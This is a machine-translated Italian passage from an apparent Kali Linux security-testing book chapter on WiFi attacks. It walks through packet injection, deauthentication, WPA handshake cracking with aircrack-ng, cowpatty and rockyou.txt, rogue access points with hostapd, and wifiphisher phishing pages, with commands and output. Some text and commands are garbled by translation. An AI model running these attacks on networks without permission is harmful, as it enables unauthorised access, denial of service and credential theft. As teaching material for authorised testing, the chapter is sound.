Un ESSID è un identificatore di set di servizi esteso . In alcuni casi, il BSSID sarà uguale all'ESSID.
Tuttavia, in reti più grandi in cui potrebbero esserci più AP, l'ESSID sarà diverso dal BSSID.
Figura 7-4. Utilizzo di wifite per raccogliere i BSSID
La figura 7-4 mostra l'elenco degli AP che sono stati identificati. Una volta
ottenuto l'elenco, è necessario selezionare gli AP che si desidera testare.
Una volta ottenuto l'SSID che si desidera testare visualizzato nell'elenco, si
preme Ctrl-C per far sì che wifite smetta di cercare reti.
Quindi puoi selezionare un dispositivo dall'elenco oppure selezionarli tutti.
L'esempio 7-4 mostra wifite che avvia il test su tutti gli AP. L'installazione
predefinita di wifite potrebbe non includere alcune delle applicazioni di
supporto e quindi non funzionare in modo efficace. Il programma
funzionerà comunque, ma per essere più efficace, potresti voler installare
altre applicazioni che non possono essere trovate da wifite .
Esempio 7-4. wifite esegue test
┌──(kilroy@portnoy)-[~]
└─$ sudo wifite . .
.´ · . . · `. wifite2 2.7.0
: : : (¯) : : : un revisore wireless di de
`. · ` /¯\ ´ · .´ gestito da kimocoder
` /¯¯¯\ ´ https://github.com/kimoco
NUMERO ESSID CH ENCR P
--- ------------------------ --- ----1
Viola pastello 3 WPA-P 8
2
TP-Link_C4C4 8 WPA-P 7
3
XFSETUP-859A 1 WPA-P 6
4
(AE:DB:48:8B:85:9E) 1 WPA-P 6
5
(B6:DB:48:8B:85:9E) 1 WPA-E 6
6
(BA:DB:48:8B:85:9E) 1 WPA-P 6
7
(A6:DB:48:8B:85:9E) 1 WPA-P 6
8
Daytona 500 11 WPA-P 4
9
(B6:DB:48:6D:5A:80) 11 WPA-E 4
10
(AE:DB:48:6D:5A:80) 11 WPA-P 4
11
(AE:DB:48:6D:3E:5B) 6 WPA-P 4
12
(A6:97:CD:72:07:A3) 6 WPA-P 4
13
(AE:97:CD:72:07:A3) 6 WPA-P 4
14
Protezione da password
XFSETUP-C2C2 6
15
cheeandbo 6 WPA-P 4
16
armani4747 1 WPA-P 4
[+] Seleziona i target (1-163) separati da
virgole
[+] (1/1) Inizio attacchi contro 40:ED:00:DA:C
[+] TP-Link_C4C4 (72db) WPS Polvere di fata:
[5m0s] W
Come accennato, wifite usa varie strategie di default. Oltre a provare a
catturare l'handshake richiesto da WPA, come puoi vedere nell'Esempio 74 , wifite proverà anche a eseguire l'attacco Pixie Dust. Puoi vedere i
tentativi di eseguire quell'attacco contro gli AP che hanno WPS abilitato
nella Figura 7-5 . Noterai anche che wifite è stato in grado di catturare l'
handshake WPA, che ha salvato come file pcap per un'analisi successiva.
Questo durerà un po', tentando di innescare le vulnerabilità esistenti
contro i meccanismi di crittografia e autenticazione supportati. Poiché sono
stati selezionati tutti e cinque gli obiettivi, ci vorrà un po' più di tempo
rispetto a se stessi testando solo uno dei dispositivi. Per eseguire questi
test, wifite deve inviare frame che non farebbero parte del normale
processo. Altri strumenti fanno cose simili iniettando traffico nella rete per
osservare le risposte dai dispositivi di rete. Questo potrebbe essere
essenziale nel tentativo di raccogliere abbastanza traffico per l'analisi.
Figura 7-5. wifite tenta attacchi Pixie Dust
Attacchi di iniezione
Un approccio comune per attaccare le reti WiFi è quello di iniettare frame
nella rete. Questo può suscitare una risposta dall'AP. Purtroppo non tutte
le interfacce wireless supportano l'iniezione di pacchetti. L'iniezione di
pacchetti è qualcosa che sarà importante non solo per scaricare traffico
sulla rete wireless, ma anche per cercare di decifrare le password che ci
consentiranno di ottenere credenziali di autenticazione per quella rete
wireless.
L'esempio 7-5 mostra l'uso dello strumento aireplay-ng per determinare se
l'iniezione funziona sul tuo sistema con la tua interfaccia. Puoi vedere dal
risultato che l'iniezione ha avuto successo.
Esempio 7-5. Utilizzo di aireplay-ng per testare l'iniezione di pacchetti
┌──(kilroy@portnoy)-[~]
└─$ sudo iwconfig wlan1 canale 3
┌──(kilroy@portnoy)-[~]
└─$ sudo aireplay-ng -9 -a 80:CC:9D:DD:71:F3 wlan
19:38:30 In attesa del frame beacon (BSSID: 80:CC
19:38:30 Tentativo di trasmissione delle
richieste di probe...
19:38:30 L'iniezione funziona!
19:38:32 Trovato 1 AP
19:38:32 Tentativo di richieste di sonda
dirette...
19:38:32 80:CC:9C:DD:71:F3 - canale: 3 - 'CasaC
19:38:32 Ping (min/media/max): 0,951 ms/3,692
ms/14
19:38:32 30/30: 100%
La prima cosa che deve accadere è impostare il canale sull'interfaccia
wireless in modo che corrisponda al canale utilizzato dall'AP. Ciò avviene
con il comando iwconfig , che viene utilizzato per impostare la
configurazione per le interfacce wireless, proprio come ifconfig viene
utilizzato per le interfacce cablate. aireplay-ng è fornito con il pacchetto
aircrack-ng ed è anche in grado di eseguire altri attacchi, come
l'autenticazione falsa, la riproduzione ARP e altri attacchi contro
l'autenticazione. Tutti questi attacchi vengono eseguiti utilizzando tecniche
di iniezione di pacchetti sulla rete wireless. Questo è un elemento chiave
per l'esecuzione di attacchi alle password.
Cracking delle password su WiFi
Lo scopo di eseguire il cracking della password su una rete WiFi è ottenere
la passphrase utilizzata per l'autenticazione con l'AP. Una volta ottenuta la
passphrase, possiamo accedere alla rete, a cui non dovremmo avere
accesso. Dal punto di vista di chi lavora con un datore di lavoro o un
cliente, se sei in grado di crackare la password, anche un aggressore
malintenzionato sarà in grado di farlo. Ciò potrebbe significare vulnerabilità
nel meccanismo di crittografia utilizzato o potrebbe significare una
passphrase debole. In entrambi i casi, questo è qualcosa che l'azienda
dovrebbe risolvere per impedire l'accesso non autorizzato alla rete.
Si possono usare alcuni strumenti per eseguire attacchi di password contro
reti WiFi. Tieni presente che potresti lavorare contro due meccanismi di
crittografia: WEP e WPA. È meno probabile che ti imbatterai in una rete
WEP, ma potresti comunque vederli. Se ciò accade, dovresti incoraggiare
fortemente il tuo cliente o datore di lavoro a fare il possibile per sostituire
l'AP e la rete. Potresti scoprire che sono bloccati con quello per motivi di
eredità, quindi vale la pena tenerlo a mente. L'altro meccanismo di
crittografia che incontrerai è una qualche forma di WPA. Di nuovo, non
dovresti vedere WPA, ma dovresti vedere WPA2. Se ti imbatti in WPA,
dovresti incoraggiare fortemente che venga sostituito con WPA2.
accanto-ng
Il primo strumento che esamineremo è besside-ng . Prima di farlo, però,
faremo di nuovo una scansione per i BSSID, anche se lo faremo in un modo
diverso. Useremo un altro strumento dal pacchetto aircrack-ng . Questo
strumento mette la tua interfaccia wireless in modalità monitor e nel
processo crea un'altra interfaccia che può essere usata per scaricare il
traffico. Per abilitare la modalità monitor, usiamo airmon-ng start wlan0
quando l'interfaccia wireless è wlan0 . Una volta avviato airmon-ng , viene
creata l'interfaccia wlan0mon . airmon-ng ti dirà il nome dell'interfaccia
che è stata creata, poiché il tuo potrebbe essere diverso. Una volta abilitata
la modalità monitor, possiamo usare airodump-ng wlan0mon per
monitorare il traffico con le intestazioni radio, che è abilitata da airmon-ng
.
L'esempio 7-6 mostra l'output di airodump-ng .
Esempio 7-6. Usando airodump-ng
[CH 5 ][ Trascorso: 1 min ][ 2023-10-02 20:02 ]
BSSID PWR Beacon #Dati, #/s CH
A6:DB:48:8E:F9:6A -75 2 0 0 6
B6:DB:48:8E:E2:53 -73 3 0 0 6
76:3B:CC:AB:30:4B -65 1 3 0 6
Italiano: AC:DB:48:83:E2:53 -74 5 0 0 6
A6:DB:48:8D:12:24 -59 7 0 0 11
B6:DB:48:0D:24:D5 -51 5 0 0 11
B6:DB:48:8B:C5:FE -71 3 0 0 11
aC:98:DF:FF:8F:BA -77 5 0 0 1
B6:DB:48:6D:4A:42 -68 28 0 0 6
Italiano: AE:DB:48:8D:8A:74 -68 25 0 0 6
Italiano: AE:97:CD:6B:D2:4B -65 29 0 0 6
B6:DB:48:6E:B9:87 -60 24 0 0 6
Italiano: AE:DB:48:8B:C6:FC -72 5 0 0 11
Italiano: AC:DB:48:8E:A0:67 -68 19 4 0 11
A6:DB:48:8B:F5:FC -73 6 0 0 11
D2:9E:43:65:B9:E5 -64 25 0 0 9
1E:9D:72:32:36:3A -72 17 1 0 1
Italiano: AE:DB:48:8B:88:8C -64 28 0 0 6
AB:DB:48:8B:8B:8C -65 27 0 0 6
A6:DB:48:6B:A9:87 -60 28 0 0 6
B6:97:CD:7B:D1:4B -67 24 0 0 6
A6:97:CD:6B:D2:4B -67 22 0 0 6 AC:DB:48:8D:82:84
-67 26 0 0 6
B6:DB:48:8B:8B:8B -63 29 0 0 6
A8:97:CD:6B:D2:4B -66 23 2 0 6
B6:97:CD:72:17:A3 -57 38 0 0 6
Questo ci fornisce l'elenco dei BSSID e i dettagli della crittografia.
Sappiamo che la maggior parte di loro utilizza WPA2 con il contatore
Mode Cipher Block Chaining Message Authentication Code Protocol,
Counter Mode CBC-MAC Protocol o CCM mode protocol (CCMP).
Sfortunatamente, quello che usa WPA e non WPA2 non è una delle mie
reti, quindi non posso fare alcun test su di esso. Invece, useremo un AP di
mia proprietà che non viene usato per nient'altro che per i test. Useremo
besside-ng per tentare di decifrare l'autenticazione per quel BSSID. Devi
usare -b con il BSSID, come puoi vedere nell'Esempio 7-7 . Devi anche
specificare l'interfaccia usata. Vedrai che viene usato wlan0mon , ma per
usarlo, ho fermato airmon-ng .
Esempio 7-7. Utilizzo di besside-ng per decifrare automaticamente le
password
┌──(kilroy@portnoy)-[~]
└─$ sudo besside-ng -b 40:ED:00:DA:C4:C4 wlan1
[18:44:26] Andiamo [18:44:26] Rilevamento
automatico dei canali supportati...
[18:44:26] Ripresa da besside.log
[18:44:26] Aggiunta a wpa.cap
[18:44:26] Aggiunta a wep.cap
[18:44:26] Registrazione su besside.log
[18:44:27] - Scansione canale 02
[18:44:46] DA POSSEDERE [TP-Link_C4C4*]
POSSEDUTO []
Tipo sconosciuto 30tacking [TP-Link_C4C4] WPA PING
[18:44:46] | Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] - Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] \ Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] - Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
Tipo sconosciuto 30tacking [TP-Link_C4C4] WPA PING
[18:44:46] \ Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] - Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] | Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
Tipo sconosciuto 30tacking [TP-Link_C4C4] WPA PING
[18:44:46] - Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] | Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] / Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
Tipo sconosciuto 30tacking [TP-Link_C4C4] WPA PING
[18:44:46] | Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] - Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
Tipo sconosciuto 30tacking [TP-Link_C4C4] WPA PING
[18:44:46] / Attacco [TP-Link_C4C4] WPA - PING
Faro cattivo
[18:44:46] | Attacco [TP-Link_C4C4] WPA - PING
Durante un attacco, besside-ng invia un DEAUTH . Questo è un messaggio
di deautenticazione. Viene utilizzato per forzare i client a riautenticarsi per
raccogliere il messaggio di autenticazione. Una volta raccolto il messaggio
di autenticazione, il programma può eseguire un attacco brute-force per
determinare la passphrase o le credenziali di autenticazione utilizzate.
Stiamo attaccando una rete crittografata WPA2, ma se avessimo trovato
una rete crittografata WEPen, avremmo potuto usare wesside-ng .
NOTA
Un attacco di deautenticazione può anche essere usato come un denial of service. Iniettando messaggi
di deautenticazione nella rete, un aggressore può forzare un client a uscire dalla rete. Ripetendo
continuamente il messaggio di deautenticazione, il client potrebbe rimanere bloccato in un ciclo di
autenticazione/deautenticazione e non riuscire mai a entrare nella rete.
muccapatty
Un altro programma che possiamo usare per provare a decifrare le
password è cowpatty . Questo è chiamato coWPAtty , per chiarire che si
tratta di un attacco contro le password WPA. Ciò di cui cowpatty ha bisogno
per decifrare la password è una cattura di pacchetti che contiene
l'handshake a quattro vie utilizzato per impostare la chiave di crittografia
per crittografare la trasmissione tra l'AP e la stazione. Puoi ottenere una
cattura di pacchetti che include i frame rilevanti utilizzando Airodump-ng o
Kismet. Entrambi genereranno un file di cattura di pacchetti ( .cap o .pcap )
che includerebbe le intestazioni radio rilevanti, anche se dovresti dire ad
Airodump-ng che vuoi scrivere i file. Altrimenti, otterresti solo un output
sullo schermo. Dovresti passare -w e un prefisso al comando. Il prefisso
viene utilizzato per creare i file, incluso un file .cap . Questo apparirebbe
come sudo airodump-ng -c 3 -w radio.cap wlan0 . La parte sudo è
necessaria perché abbiamo bisogno di privilegi amministrativi per catturare
file come questo.
Una volta ottenuto il file .cap , ti serve anche un file password.
Fortunatamente, Kali ne ha diversi in /usr/share/wordlists . Puoi anche
scaricarne altri da fonti online. Si tratta di dizionari che dovrebbero
includere la password o la passphrase utilizzata dalla rete wireless. Proprio
come con qualsiasi attacco alla password, non avrai successo a meno che la
password effettiva non sia nel dizionario che stai utilizzando. Il motivo è
che l'attacco brute-force confronterà ciò che è stato catturato con ciò che è
stato generato dalla password. Una volta ottenuti questi elementi, potresti
provare a decifrare le password con qualcosa come il seguente comando:
cowpatty -r test-03.cap F /usr/share/wordlists/nmap.lst -s TP-Link_862C .
Aircrack-ng
Abbiamo utilizzato strumenti della suite Aircrack-ng, ma non abbiamo
parlato dell'utilizzo di aircrack-ng per decifrare le password. È uno
strumento potente che può decifrare le password WEP e WPA. Ciò di cui
aircrack-ng ha bisogno è una vasta raccolta di pacchetti che possono essere
utilizzati per decifrare. Ciò che aircrack-ng fa è un'analisi statistica dei
pacchetti catturati utilizzando un file di password per il confronto. La
versione breve di quella che potrebbe essere una descrizione molto più
lunga (e se sei interessato a una versione più lunga, puoi leggere la
documentazione ) è che è tutta matematica e non solo hashing e
confronto. Il programma esegue un'analisi byte per byte per ottenere la
passphrase utilizzata.
MANCIA
I meccanismi di crittografia, come quelli utilizzati da WEP e WPA, possono utilizzare un vettore di
inizializzazione . Si tratta di un valore numerico casuale, a volte chiamato nonce , che viene utilizzato
per aiutare a creare la chiave di crittografia. Se l'algoritmo del vettore di inizializzazione è debole, può
portare a valori prevedibili. Ciò può essenzialmente far trapelare la passphrase utilizzata dalla rete
wireless.
Poiché il programma esegue un'analisi statistica, sono necessari molti
pacchetti per aumentare le possibilità di ottenere la passphrase corretta.
Dopotutto, si tratta di un'analisi statistica e più dati hai, più puoi
confrontare. Considerala come un'analisi di frequenza quando cerchi di
decodificare un messaggio crittografato. Una piccola raccolta può produrre
una distribuzione uniforme su tutte o la maggior parte delle lettere.
Questo non ci aiuta affatto. Di conseguenza, più dati possiamo raccogliere,
maggiori sono le possibilità di determinare mappature uno a uno perché
tutto inizia a visualizzare una distribuzione di frequenza normale. Lo stesso
vale per i lanci di monete. Potresti lanciare cinque teste di fila, ad esempio,
o quattro teste e una croce. In base alla probabilità di ogni evento,
otterremo un numero uguale di teste e croci, ma potrebbe essere
necessario un numero elevato per arrivare completamente al 50%.
NOTA
Un'analisi di frequenza è un conteggio del numero di volte in cui i caratteri compaiono nel testo. A
volte viene utilizzata quando si cerca di decifrare un testo cifrato, perché un'analisi di frequenza del
testo cifrato rivelerà lettere che vengono utilizzate regolarmente. Ciò ci consente di confrontarlo con
una tabella delle lettere più comunemente utilizzate nella lingua in cui è scritto il messaggio. Ciò può
iniziare a scomporre parte del testo cifrato in testo normale, o almeno fornire alcune buone ipotesi su
quali lettere del testo cifrato corrispondono a quali lettere del testo normale.
Per usare aircrack-ng , abbiamo bisogno di una cattura di pacchetti. Questo
può essere fatto usando airodump-ng , come abbiamo usato prima. Oltre
alla cattura da airodump-ng , abbiamo bisogno che la cattura includa
almeno un handshake. Senza questo, aircrack-ng non può tentare di
decifrare una password WPA. Avrai anche bisogno di un file di password.
Troverai utile una raccolta di tali dizionari e potresti spendere un po' di
spazio su disco per accumularli. Scoprirai che file diversi ti andranno bene
perché il deciframento delle password può avere requisiti diversi a seconda
delle circostanze. Dopotutto, non tutte le password sono create uguali. Le
password WiFi potrebbero essere più probabilmente delle passphrase, il
che significa che sarebbero più lunghe della password di un utente.
Fortunatamente, Kali può aiutarci in questo, anche se ciò che Kali ha da
offrire non è specificamente diretto alle passphrase WPA, bensì alle
password comuni. Un file utile per le sue dimensioni e la sua varia raccolta
di password è rockyou.txt , che è un elenco di parole fornito con Kali nella
directory /usr/share/wordlists . Useremo questo file per controllare la
cattura dei pacchetti. Puoi vedere un'esecuzione di aircrack-ng con
rockyou.txt come elenco di parole/dizionario e quindi localnet-01.cap
come cattura dei pacchetti da airodump-ng nell'esempio 7-8 .
Esempio 7-8. Esecuzione di aircrack-ng per decifrare le password WPA
┌──(kilroy@portnoy)-[~]
└─$ aircaircrack-ng -w rockyou.txt localnet-01.ca
Lettura dei pacchetti, attendere prego...
Apertura di localnet-01.cap
Reimpostazione dello stato del decoder
di handshake EAPOL.
Leggi 47575 pacchetti.
# ID ESSID
1
2
3
4
5
6
7
8
9
00:22:6B:99:65:B1 TC_Manutenzione
00:25:00:FF:94:73
1E:9D:72:30:A8:89
1E:9D:72:30:A8:8C DFetchik
1E:9D:72:30:A8:8D
1E:9D:72:30:A8:8F
1E:9D:72:32:35:39 Trump 2.0
1E:9D:72:32:35:3A
1E:9D:72:32:35:3C
10
11
12
13
14
15
16
17
18
1E:9D:72:32:35:3E
1E:9E:CC:55:DB:59
1E:9E:CC:55:DB:5B
1E:9E:CC:55:DB:5C
1E:9E:CC:55:DB:5E XFSETUP-DB59
1E:9E:CC:55:DB:5F
22:EF:BD:A7:A8:E4
28:EE:52:A5:2D:2C PiccoleSignoreBarbute_EXT
30:23:03:01:FB:68 Wemo.Mini.174
19
20
21
22
38:94:ED:0B:0D:54 Atlantide
3C:37:86:67:EF:2D Fennec1
3E:94:ED:0B:0D:54
40:ED:00:DA:C4:C4 TP-Link_C4C4 Numero di
indice della rete di destinazione?
NOTA
Mentre alcuni degli SSID intercettati appartengono a me, altri no. Dal momento che appartengono ai
miei vicini, sarebbe maleducato, per non dire immorale e illegale, tentare di violare quelle reti.
Assicuratevi sempre di lavorare sui vostri sistemi o su sistemi per i quali avete il permesso esplicito di
testare.
Una volta eseguito aircrack-ng , ci verrà chiesto quale rete target vogliamo
crackare. Sebbene nessuna rete abbia un handshake catturato nell'Esempio
7-8 , se ci fosse, saremmo in grado di selezionare la rete identificata su cui
eseguire l'attacco. Selezionando la rete che desideriamo, verrà avviato il
tentativo di cracking, come visto nell'Esempio 7-9 .
Esempio 7-9. aircrack-ng crackare la password WPA
Versione 1.7 di Aircrack
[00:00:06] 11852/9822768 chiavi testate (1926
Tempo rimanente: 1 ora, 24 minuti, 53 secondi
Passphrase corrente: redfla
Chiave principale: BD E9 D4 29 6F 15 D1 F9 76
A4 74 83 42 58 B6 C9 E3
Chiave transitoria: 0B 04 D6 CA FF EE 7A B9 6E
5B AA C0 53 18 32 F7 54 DI
BC 57 D7 8A 5C B4 30 DB FA
35 F7 89 F6 2F 8A 25 74 3A
EAPOL HMAC: 50 66 38 C1 84 A1 DD BC 7C
Utilizzando Kali in una VM, puoi vedere che ci vorrà circa un'ora e mezza
per elaborare meno di 10 milioni di password.
Macchine più veloci che potrebbero essere dedicate a questo compito
potrebbero essere in grado di fare il cracking più velocemente. Liste più
grandi richiederanno più tempo per essere crackate. Tuttavia, servono
molti dati per ottenere abbastanza dati per il cracking. Questo non è un
processo semplice.
MANCIA
Tieni presente che non hai la garanzia di ottenere una password usando questo approccio. Se la
password effettiva non è nell'elenco delle password che fornisci, non c'è modo di ottenere una
corrispondenza. Finirai con un tentativo di crack fallito.
Felce
Non temere se sei riluttante a fare più passaggi usando la riga di comando
per andare dietro alle reti WiFi. Puoi usare Fern , un'applicazione basata su
GUI che può essere usata per attaccare diversi meccanismi di crittografia.
La Figura 7-6 mostra l'interfaccia che Fern presenta. La GUI non lo dice più,
ma Fern può crackare le reti WEP e WPA.
Figura 7-6. Interfaccia grafica utente di Fern
Una volta che Fern è in esecuzione, devi selezionare l'interfaccia wireless
che intendi utilizzare, quindi devi cercare le reti. La selezione
dell'interfaccia è nella casella più a sinistra nella riga superiore. Accanto c'è
un pulsante Aggiorna se hai apportato modifiche al di fuori della GUI per
farle rilevare nell'interfaccia. "Cerca punti di accesso" è il pulsante
successivo in basso. Questo popola un elenco che Fern ti fornirà. Quando
selezioni il tipo di rete che vuoi violare, WEP o WPA, ti verrà presentata la
casella mostrata nella Figura 7-7 . Questo ti fornisce un elenco delle reti
che sono state trovate. Questo elenco è fondamentalmente lo stesso
elenco di cui abbiamo parlato finora.
Probabilmente è difficile da leggere da una cattura dello schermo, ma in
basso a destra della finestra di dialogo c'è un pulsante di selezione per
fornire a Fern un dizionario da usare. Proprio come aircrack-ng , Fern usa
un dizionario per eseguire crack e, proprio come con aircrack_ng , non
sarai in grado di crackare la password se non è fornita nel dizionario che
Fern ha ricevuto. Per far partire Fern, seleziona una delle reti fornite,
forniscile un file di dizionario e poi fai clic sul pulsante Attack.
Figura 7-7. Selezione della rete di felci
Oltre a decifrare le password wireless, Fern ha anche una cassetta degli
attrezzi di altri tipi di attacchi, tra cui uno strumento di dirottamento dei
cookie. Questa è una funzione che catturerà le informazioni di sessione per
clonare le sessioni web utilizzando i cookie che vengono scambiati tra il
client e il server.
Andare fuori controllo
Gli AP non autorizzati sono di due, forse tre tipi. Innanzitutto, potresti
avere un AP che cerca solo di attirarti. Potrebbe chiamarsi FreeWiFi o
potrebbe essere una variante di un AP legittimo. Non c'è alcun tentativo di
fare altro che convincere le persone a connettersi. Nel secondo tipo, un
aggressore tenta di impossessarsi di un SSID legittimo. L'aggressore si
maschera da vera rete, forse bloccando il segnale legittimo. Il terzo è meno
rilevante qui, anche se comunque preoccupante. Questo potrebbe essere
meno un problema ora, ma c'era un tempo in cui i dipendenti installavano i
propri AP nelle loro aziende perché l'azienda non offriva il WiFi. Un AP
potenzialmente non sicuro veniva quindi collegato alla rete aziendale, il
che avrebbe potuto consentire a un aggressore di accedere alla rete
aziendale.
Gli AP non autorizzati sono un problema comune perché è molto facile
creare una rete wireless con un AP che pubblicizza un SSID. Questo
potrebbe essere un AP ben noto. Poiché non c'è nulla che renda
necessariamente uno più chiaro di un altro, è facile creare un AP non
autorizzato per attaccare i client. Questo non è utile di per sé,
necessariamente, dal punto di vista dei test di sicurezza. È abbastanza
facile determinare che le persone, data la posizione corretta per il tuo AP
non autorizzato, si collegheranno per errore alla tua rete. Una volta che lo
hanno fatto, puoi raccogliere informazioni da loro. Questo potrebbe fornirti
un modo per ottenere l'accesso alla rete legittima raccogliendo credenziali
che puoi quindi utilizzare contro la rete legittima.
Puoi anche usare il Social-Engineer Toolkit ( setoolkit ) per creare un punto
di accesso non autorizzato, che può essere usato per rispondere a tutte le
richieste DNS, reindirizzando tutto il traffico alla tua macchina. Questo ti
permette di controllare completamente il traffico sulla rete, che potrebbe
includere la raccolta di molte informazioni come nomi utente e password,
per non parlare delle informazioni sulla carta di credito e altre informazioni
personali. La Figura 7-8 mostra parte del processo per impostare un punto
di accesso non autorizzato.
Figura 7-8. Utilizzo di setoolkit per creare un punto di accesso
Ospitare un punto di accesso
Prima di addentrarci in attacchi più tradizionali, dovremmo considerare
l'utilizzo di Linux, in particolare Kali, per ospitare un AP. Ciò richiede un
paio di cose. La prima è un'interfaccia wireless. Fortunatamente, ne
abbiamo una. Avremo anche bisogno della capacità di fornire indirizzi di
rete ai nostri client e quindi instradare il traffico in arrivo. Possiamo fare
tutto questo con Kali Linux. Innanzitutto, dobbiamo impostare una
configurazione per hostapd . Kali non ne include una di default, ma c'è un
esempio ampiamente documentato in
/usr/share/docs/hostapd . Per far funzionare un AP, useremo una semplice
configurazione, che puoi vedere nell'Esempio 7-10 . La metteremo in
/etc/hostapd , ma non ha molta importanza dove si trovi perché indichi a
hostapd dove si trova il file di configurazione.
Esempio 7-10. hostapd.conf
# hostapd.conf a scopo dimostrativo
interfaccia=wlan0 bridge=br0
driver=nl80211 logger_syslog=1
logger_syslog_level=2
ssid=##FreeWiFi## canale=2
ignore_broadcast_ssid=0
wep_default_key=0
wep_key0=abcdef0123
wep_key1=01010101010101010101010101
0101
Questa configurazione ci consente di avviare il servizio hostapd . Forniamo
l'SSID e il canale radio da utilizzare. Stiamo anche dicendo a hostapd di
trasmettere l'SSID e di non aspettarci che il client lo chieda specificamente.
Devi anche fornire i parametri di crittografia e autenticazione, a seconda
delle tue esigenze. Per questo useremo WEP. Puoi vedere un avvio di
hostapd nell'esempio 7-11 . Ciò che vedrai è un parametro -B , che dice a
hostapd di essere eseguito in background come un demone. L'ultimo
parametro è il file di configurazione. Poiché lo stiamo fornendo, non c'è un
valore predefinito e quindi non importa molto dove è archiviato il file di
configurazione.
Esempio 7-11. Avvio di hostapd
root@savagewood:/# hostapd -B /etc/hostapd/hostap
File di configurazione: /etc/hostapd/hostapd.conf
Utilizzo dell'interfaccia wlan0 con hwaddr
9c:ef:d5:fd:24 wlan0: stato dell'interfaccia NON
INIZIALIZZATO->ABILITATO wlan0: AP-ABILITATO
Dalla configurazione e dai messaggi di avvio, vedrai che il nome dell'SSID
era FreeWiFi , che puoi vedere pubblicizzato nella Figura 7-9 . Ciò significa
che il nostro sistema Kali Linux sta pubblicizzando correttamente l'SSID
come previsto. Ciò consentirà agli utenti di connettersi al nostro AP
wireless. Non consente agli utenti di andare da nessuna parte dopo essersi
connessi perché tutto il traffico si fermerebbe al sistema Kali . Per
consentire al traffico di essere inoltrato altrove, abbiamo bisogno di una
seconda interfaccia a cui inviare il traffico. Ci sono alcuni modi per farlo.
Potresti rimbalzare attraverso una connessione cellulare o una seconda
rete wireless, o semplicemente correre verso un'interfaccia cablata. Il tuo
sistema Kali Linux sarebbe quindi, di fatto, un router, poiché il traffico si
sposta da una rete IP a un'altra.
Figura 7-9. Elenco degli SSID incluso FreeWiFi
Anche se abbiamo una seconda interfaccia di rete, però, dobbiamo fare un
paio di altre cose. Per iniziare, dobbiamo dire al kernel Linux che è OK
passare il traffico da un'interfaccia all'altra. A meno che non impostiamo
quel parametro del kernel, il sistema operativo non consentirà al traffico di
andare da nessuna parte dopo essere entrato nel sistema. Possiamo farlo
eseguendo sysctl -w net.ipv4.ip_forward . Per rendere permanente questa
modifica, dobbiamo modificare il file /etc/sysctl.conf per impostare quel
parametro. Ciò consentirà a Linux di accettare i pacchetti in entrata e di
inoltrarli in uscita da un'altra interfaccia, in base alla tabella di routing del
sistema operativo.
Con tutto questo in atto, puoi avere il tuo AP personale per qualsiasi scopo
tu voglia. Questo può includere semplicemente il tenere traccia dei client
che tentano di connettersi a te. Questo può darti un'idea di utenti
potenzialmente dannosi. Puoi anche catturare il traffico mentre passa
attraverso il tuo sistema. Per fare cose più complicate e potenzialmente
dannose, dovremmo ottenere un piccolo aiuto extra.
Utenti di phishing
Puoi usare hostapd per creare un AP rogue. È solo un AP, però. Un altro
strumento che possiamo usare, che dovresti installare, è wifiphisher .
Questo ci consentirà di compromettere i client. Questo potrebbe
funzionare meglio se ti stai mascherando da SSID legittimo in un'area in cui
il SSID legittimo sarebbe disponibile. wifiphisher bloccherà il segnale
legittimo mentre pubblicizza simultaneamente lo stesso SSID. Per fare
questo, tuttavia, hai bisogno di due interfacce WiFi. Una si occuperà di
bloccare i client sul SSID legittimo, mentre l'altra pubblicizzerà lo stesso
SSID.
Questo finisce per funzionare usando le stesse strategie di iniezione di cui
abbiamo parlato prima. wifiphisher invia messaggi di deautenticazione per
far uscire il client dalla rete legittima. Ciò costringerebbe il client a tentare
di riassociarsi. Mentre puoi eseguire i tuoi attacchi usando questo
approccio, puoi anche procedere in modo unilaterale e pubblicizzare
semplicemente un SSID. Gli stili di attacco saranno gli stessi, non importa
cosa. Eseguendo wifiphisher -e FreeWiFi , creiamo un AP che pubblicizza
l'SSID FreeWiFi. Una volta avviato wifiphisher , ti verrà chiesto quale
scenario di phishing vuoi usare. Puoi vedere gli scenari forniti nell'Esempio
7-12 . Puoi anche semplicemente eseguire wifiphisher senza alcun
parametro, nel qual caso ti verranno presentati SSID che possono essere
visti dalla tua interfaccia di rete. Otterrai un set simile di opzioni per
indirizzare gli utenti.
Esempio 7-12. Scenari di phishing wifiphisher
Scenari di phishing disponibili:
1 - Pagina di aggiornamento del firmware Una
pagina di configurazione del router senza loghi o
marchi a causa di un aggiornamento del firmware.
Adatta ai dispositivi mobili. 2 - Network Manager
Connect L'idea è di imitare il comportamento
della pagina "Connessione non riuscita" del
browser di rete e quindi visualizzare la finestra
del gestore tramite la pagina che chiede il p 3 Aggiornamento del plug-in del browser Una pagina
di aggiornamento del plug-in del browser generica
che può essere la vittima. 4 - Pagina di accesso
OAuth
Un servizio Wi-Fi gratuito che richiede l'accesso
ai social network
Come detto in precedenza, puoi semplicemente eseguire wifiphisher da
solo. Quando lo fai, o se ometti anche il nome dell'SSID, ti verrà presentato
un elenco di reti disponibili che puoi imitare. L'esempio 7-13 mostra
l'elenco delle reti disponibili localmente quando ho eseguito wifiphisher .
Una volta selezionata la rete, ti verrà presentato lo stesso elenco visto
nell'esempio 7-12 .
Esempio 7-13. Selezione di una rete wireless da imitare
[+] Ctrl-C in qualsiasi momento per copiare un
punto di accesso f num ch ESSID BSSID ---------------------------------------------1 - 1 - CasaChien - 70:3a:cb
2 - 5 - TP-Link_862C - 50:c7:bf
3 - 6 - CenturyLink5191 - c4:ea:1d
4 - 11 - Nascondi_i_bambini_Nascondi_i_WiFi 70:8b:cd
5 - 6 - PJ NETWORK - 0c:51:01 Dopo aver selezionato lo
scenario, wifiphisher avvierà un server DHCP per fornire al client un
indirizzo IP per avere un indirizzo con cui comunicare. Ciò è
